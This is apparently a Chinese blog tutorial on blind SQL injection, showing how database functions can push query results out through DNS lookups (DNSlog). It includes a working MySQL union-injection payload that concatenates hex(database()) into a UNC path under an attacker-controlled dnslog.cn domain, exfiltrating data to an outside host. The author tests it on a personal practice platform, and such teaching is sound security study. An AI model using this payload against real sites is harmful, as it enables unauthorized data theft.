SQL注入之利用DNSlog外带盲注回显
0x00 SQL盲注当我们发现一个站点存在一个没有数据回显的注入点进行注入时,只能采取盲注,这种注入速度非常慢,需要一个一个字符猜解,而且很容易被网站BAN掉IP,虽然也可以使用代理IP池,但是还是需要一种快速有效的方法来获取数据。此时我们就可以利用DNSlog来快速的获取数据,当然我们也可以在无回显的命令执行或者无回显的SSRF中利用。0x01 DNSlog利用条件DBMS中需要有可...
0x00 SQL盲注
当我们发现一个站点存在一个没有数据回显的注入点进行注入时,只能采取盲注,这种注入速度非常慢,需要一个一个字符猜解,而且很容易被网站BAN掉IP,虽然也可以使用代理IP池,但是还是需要一种快速有效的方法来获取数据。
此时我们就可以利用DNSlog来快速的获取数据,当然我们也可以在无回显的命令执行或者无回显的SSRF中利用。
0x01 DNSlog利用条件
DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNCLinux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据
前人总结不同DBMS中使用的方法:
Microsoft SQL Server
master…xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)
master…xp_fileexist (用于确定一个特定的文件是否存在于硬盘)
master…xp_subdirs (用于得到给定的文件夹内的文件夹列表)
Oracle
GET_HOST_ADDRES (用于检索特定主机的IP)
UTL_HTTP.REQUEST (从给定的地址检索到的第1-2000字节的数据)
Mysql
load_file (读取文件内容并将其作为字符串返回)
PostgreSQL
COPY (用于在文件系统的文件和表之间拷贝数据)
0x02 UNC
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径
格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename
0x03 DNSlog平台
- http://www.dnslog.cn
- http://ceye.io
也可以自己手动搭建,工具地址:https://github.com/bugscanteam/dnslog/
0x04 盲注测试
自己的DNSlog域名为g5ucgd.dnslog.cn
这里利用自己的websec平台来完成的测试,那这里要注意一点,由于我平台使用的是MySQL,要用到load_file()函数的,它需要当前数据库用户有读权限,并且需要设置secure_file_priv。
前端没有回显,只输出了语句,此时直接去看平台。
前面的数字,即为hex(database())。
验证后为正确回显。
payload如下
admin" union select load_file(concat('\\\\',(select hex(database())),'.g5ucgd.dnslog.cn\\test'))#
\\\\转义后即为\\select hex(database())为需要的查询语句,用hex()是因为构造UNC时不能有特殊符号,转化一下更好用。.g5ucgd.dnslog.cn\\test转义后就变成了.g5ucgd.dnslog.cn\test,后面的test只是资源名字,随便起。
拼接起来后就成了\\bvwa.g5ucgd.dnslog.cn\test完全符合UNC的路径标准,解析后在DNSlog平台就能看到数据了。
注意啦,虽然使用hex()可以解决UNC特殊字符的问题,但是UNC的长度也不能超过128,所以自行看情况使用hex()啦。
比如上图中的root@localhost不用hex()就无法外带的。
0x05 结束
好几天没学习了,心里那个苦阿,学习使人快乐!
更多推荐



所有评论(0)